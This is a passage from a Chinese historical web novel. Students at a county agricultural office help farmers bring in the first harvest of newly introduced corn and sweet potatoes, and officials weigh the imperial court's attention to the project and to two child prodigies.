这些人是这帮农户们的婆娘,原在家里头干点杂活补贴家用。现在家里稍好过了一些,这才过来帮劝农司打杂一会儿。 眼看着汗津津的一帮农户从田里头爬上来,手拿起一碗绿豆汤咕咚咕咚猛灌,站在他边上的妇人也跟着笑呵呵。 “喝完了!俺继续下地干活了!” “张嫂,你等会记得跟几个人,去把劝农司养的那些鸡鸭鹅,喂一喂。” “好嘞,放心,我知道。” 热得在屋里头疯狂扇扇子的潘岳私塾几个学生,这会儿汗流浃背的。现今一切事情都到了正轨上,除了早晚例行的巡田查账之外,其余的就是对一下今天的开支出纳等琐碎日常事情。 一旁的沈主簿,手上拨弄着算盘。 听到脚步声进来,抬头看了一眼。 “周神童?这么热的天,怎么不在屋里头呆着?” 周盈脸颊上粘了几缕发丝,他刚从田里回来,这大热天,就是他都有些受不住。手擦了擦汗水,给自 己倒了杯水。 “我就过来看看,闲不住!” “赵师兄,夫子说了,六月小考的成绩出来了,咱们考的都不错,得继续保持。” “功课上……念在你们最近用功,也就减免半成。” 一听这话,赵瑜等人猛地瞪大眼睛。 紧接着屋里头“呜呼!”欢呼声一片! 那声音鬼哭狼嚎的,跟猴子荡秋千似的。 “太好了!今晚总算是能早点睡了!” “诶……夫子可算是心疼心疼咱们了。” “是啊…我们好歹,也不算是散养的野生学生了!” 陈夫子刚跨进门的脚步一顿,皱眉道:“嚎什么呢?” 嗯?! 几个学生闻言一瞧,差点没吓得魂都冒了出来。只见陈夫子手上拿着一沓书,这会儿不紧不慢的走进屋里头,把书放下。 随后捋了捋袖子,看着这群晒黑不少,也硬朗结实不少的学生,满意的颔首一笑:“好了,这几个月,你们的表现都不错。” “夫子我呢……也都看在眼里,你们也累,功课减免一半,也算是让你们歇一歇。” “往后,上课我就直接来劝农司,这样也省得来回跑。” “……” “怎么?不想夫子来?” “呃呵呵……” 不是,夫子!哪有你这样,追着杀的! 好不容易能功课减半,他们都还没来得及开心呢!你就不能让大家放个假吗! 赵瑜苦笑一声:“夫子…这劝农司,地方小,也吵,怕是……” 他话还没说完,陈夫子就拍了拍书,一指外头蒙学班的朗读声,道:“这帮孩子都在好好学习,你们有什么脸在这偷懒?” 学生们有的牙疼,有的嘴角一抽,还有的捂着脸,都挺崩溃的。 坐在一旁的周盈“噗嗤”一声笑了出来。 “夫子也是担心你们的功课,这都干脆直接搬到劝农司来上课了,也省得你们费工夫,听个课,不费事。” 嚯,周师弟你说的是轻松啊。 感情夫子,折磨的不是你! 当然,赵瑜等人心里嘀咕归嘀咕,但真拿到明面上来说,那也是不敢的。 因此,在劝农司陈夫子讲课这件事情呢,也就这么不情不愿的定了下来。 学生们就这么过上了,上午算账巡田,下午听课阿巴巴的日子。 当然,此事在张岱、杨业、沈越等人,照例每日过来送账目的时候,也令三人大吃一惊,脸色惨白。 好日子,到头了! 八月。 金秋时节。 此时,也是田间金灿灿的时刻。 那些玉米杆子已长出了累累硕果,走在田间的农户们,眼里头的珍惜和爱护,在闪烁的泪花之间,璀璨的跟金子一样。 张智林跟高烨两人,从田头走到田尾,从玉米地走到了番薯地。 眼看着整片都是待收割的丰收景象,不免也露出些许欣慰之色。 “再过日子,这玉米番薯也可丰收了,到时候,咱们这第一批的推行,也能看出结果如何了。” 高烨说到这,叹了口气:“我这心里啊,紧张!” 120.第 120 章 毕竟是国策推行的第一年,谁也不知道,这玉米和番薯,到底能不能种出名堂,能不能亩产数百。 但话都已经说了出去,也就只能硬着头皮上了。 “前些日子,布政使大人,还差了公文来,追问国策的事情。我看朝里,现在是不少人盯着咱们山阴县的这片田地。” “下官这一年多,也算是兢兢业业,为国策做事良多,也不求什么升官调任的,只求无过即可了。” 张智林捋着胡须,说着的话,却全都进了一旁高烨的耳朵里。到底都是老狐狸,哪能不知道他说的什么意思呢? 高烨呵呵一笑:“张大人此言差矣啊!山阴县这一年,在你的治理下政治清明,国策推行之功,于你而言也占有一份的。” “我虽是帮万岁爷办差,但也分得清谁好谁坏。待这秋收,若是番薯玉米的丰收喜人,想来万岁爷高兴,怎么也少不了你的好。” 张智林无奈摇头,浅叹口气。当日他调任山阴县,接的是这么个烫手山芋,便是心里退缩,却也不能退啊。 朝廷旨意一下来,怎么退? 只能硬着头皮上。 好在是有惊无险了。 今年秋收,只需亩产不是太离谱,这差事,也就能交的上去。 “哎呀…我倒是听闻,近些日子,朝里为了山阴县的事情,吵得也是不可开交啊。”高烨似随意一般,说起了另一个话头。 他边走,边掰着一旁的玉米瞅了瞅。 “张大人,山阴县出了两个‘小青天’,可不得了咯。事情都传遍了整个绍兴府,前有绍兴联考出文名,后有整治恶绅出武功。” “万岁爷也是惦念着,两个小神童,这差事能不能办妥?能不能给朝里那帮老爷们,开开眼呢。” 跟在身后的张智林,一听这话,便眯起眼了。若是寻常的朝堂之争,高烨也就不必拿出来说,他是皇上的人,但也只是监督着国策推行罢了。 说这番话是什么意思呢? 必然是有些目的的。 张智林思忖间,迟疑道:“可是…圣上有旨意?” “旨意是没有,不过呢…”说到这,高烨回头笑了笑,眯着眼似弥勒佛一般。 “我也就是听到了些消息,万岁爷牵挂山阴县的百姓,也牵挂这国策如何了。更重要的,就是看咱们两个‘小青天’,怎么把这份重差交上去。” 张智林有些愕然,实因高烨话里头的意思太多。皇上的心思不好揣测,但皇上的太监说的话,那就代表着皇上的想法。 高烨这一番话,说的是国策,也说的是周盈、郭嘉二人。如今山阴县里两人名声大震,怎不能让朝中人注意到? “事情办妥了,自叫尔等,解京面圣。” “办不妥……张大人也明白的。” 高烨看他呆愣的表情,也有些忍俊不禁。 哎…这两个小神童呀。 不得了啊! 这头,两只老狐狸絮絮叨叨,也没什么人注意到。另一头,忙得不可开交的学生们,这会儿连体面都顾不得了! “我的衣服!啊…全毁了!”眼看着自己刚穿的新衣服上,全是泥巴和污渍,有学生哀嚎起来。 殷汝麒翻了个白眼:“都什么时候了,还管这些,要我说你还穿什么程子衣的,宽袍衣袖,干活都不利索。” 且看殷汝麒,一身干净利落的窄袖,走动之间衣带当风,修长身影挺拔峻峭极了。 再没有先前扮演胥吏的那点青涩呆愣。 他这话说出口,几个同窗都有些懵。 咱们……还是一伙的吗? “行了行了,别说闲话了。”走过来的赵瑜看着几个人在这儿瞎聊,一时间也有些没好气。 他在田里帮忙,这帮人倒好,在这儿瞎偷懒! “这眼看着快要丰收了,你们再去其他地方巡查一下,有没有什么纰漏,看看种出来的玉米和番薯有多少,农户们有什么难处。” “啊…”白了白脸色的几个学生闻言,深叹了口气,从地上爬起来。 “知道了。” 眼瞅着一圈都没什么问题,赵瑜这才抱着胸开口道:“哎…咱们忙活了这半年,倒也收获颇丰啊。” 殷汝麒闻言,笑着看了他一眼:“这田怎么长出粮食,往日我是半点不知道,现在也就半年功夫,却让我觉得…学到的,比我前十多年都要多。” “我爹还总说起,我没吃过什么苦头,只知道享福,现在……也算是吃了点苦,懂了点事情了。” 这话说的有趣,赵瑜哈哈一笑。 “读的是圣贤书,却不知道人间苦事。咱们这样再读下去,恐怕也要如绍兴联考那帮人一样只知道空谈,而不懂民生。” “小师弟推崇‘事功派’,我先前是不解,现在……我是彻底服了。” 殷汝麒掐了根狗尾巴草,手上晃了晃,看着左边全是玉米、番薯,右边则是金灿灿的稻谷,一派祥和,一片骄阳。 不免得,也跟着笑了起来。 劝农司内,张岱等人坐在位置上,手撑着脸颊,跟着周盈正算着亩产的帐呢! “年初,咱们报上来的改种田也就两千三百多亩,抄了孙念远、高志远等人的田后们这样一加起来……” “啪嗒啪嗒”算盘被沈越掰来掰去。 几个人匍在桌上,一同看着他动作。只见沈越手上动作一停,随后开口道:“总的田亩加起来,约有五千六百多亩。” “再有,其中抄没的田,还得算上边角田、荒田、劣田等到,真正的良田约莫也就四千左右。” 周盈听了这话,皱了皱眉,开口道:“咱们番薯玉米各种一半,也就是两千多亩种玉米,两千多亩种番薯。” “是。” 沈越家里就是做粮食买卖的,因此,算粮食账,是他的长处。杨业坐在他边上,看着桌上账本,有些担忧开口:“咱们这样兴师动众的,亩产得多少才能合格?” “若以稻、麦等传统粮食来算。咱们山阴县往年水稻亩产一般在2到3石之间。” 一石约莫150斤。 周盈听着,脑子里已经开始自己掰着手指头算了。若这样来说,传统粮食亩产约莫近四百斤一亩。 五千六百亩的田,可产出的就是210万斤左右。 < p>那厢,沈越手上算盘停下,也直接开口说道:“咱们取个中间数,就算半亩两石,怎样…一亩地都得375斤,这才能持平传统粮食。” “总亩产215万斤,够七千人吃一年左右。” 这话说出口,沈越也觉得如重千钧。 因所有人都不知道,番薯玉米,到底能不能达到,甚至超出这个数值。 只要超出比传统粮食多个三四成,都可以称得上是大丰收了。 大家伙看向周盈。 只见这会儿,周师弟正低头沉思着。 张岱开口道:“周师弟?可是账算的有误?” “不……我是在担心,今年忙到头,产值能不能达到心理预期。”周盈也是叹了口气,要说不慌,那肯定是假的。 朝廷里这会儿,应都看着山阴县这国策到底办的怎么样了。 皇上的人在这里,山阴县发生的事情,自然也就都看的一清二楚。 这么多双眼睛盯着,这么多人看着。 即便是周盈,也觉得有些战战兢兢。 但事情都到了这个份上,也就只能…尽人事听天命了。 “别怕!周师弟,我看咱们这儿些田里头的玉米和番薯,种的都挺好的,再说了,农户们也都是一万个上心。” 张岱大概是看出了周盈的一点担忧之色,跟着开口劝慰:“上下一条心的,这事情怎么可能办不成!” “是啊,周师弟这些日子的辛苦,我们也都是看在眼里的,别太给自己压力了。” 周盈闻言,心里多少也有几分暖意。 “哎?你们怎么还在屋里?偷懒啊?”走进来的郭嘉,看着几个人围在桌前,不知道嘀嘀咕咕的说着什么,这会儿也是没好气。 现在忙起来了,准备着手秋收的事情,人手都恨不得一个掰成两个用。 这几个人倒好,躲在屋里头清净! “郭师弟,咱们这是在算账呢。”杨业有些忍俊不禁。 只见这郭师弟,脸都晒黑了不少,身子骨也跟抽条的玉米杆子似的,疯长了好几个高度。 往年才到他们胸口,这会儿都勾着下巴了! 郭嘉喝了口水,闻言倒是稀奇,猫似的灵动桃花眼微微睁大:“怎么说?算出来亩产多少了?” “还没收呢,怎么算得出来?”放下笔,沈越笑了笑。 “只是在估算,我看这事情…着急也是没用的,等过些天,县衙下令收粮,这才能看个大概。” “那就更不用愁了,反正事情都还没到这份上,愁起来也没用。”郭嘉是半点担心都没有,毕竟他觉得,未来的事情哪有想当然的呢? 总归是走一步看一步,见招拆招才是真高手。 “走走走,外头忙都忙死了!你们倒是在这偷懒,我要生气了。” 几个人闻言发笑,无奈摇头。 蒙学班,自打国策推行以来,学生已经从最初那三四个,急速膨胀到两三个班都有些坐不下了。 夫子一时间教不过来,因而陈夫子等人偶尔也会过来帮个忙什么。 不过这会儿。 该放假,丰收咯。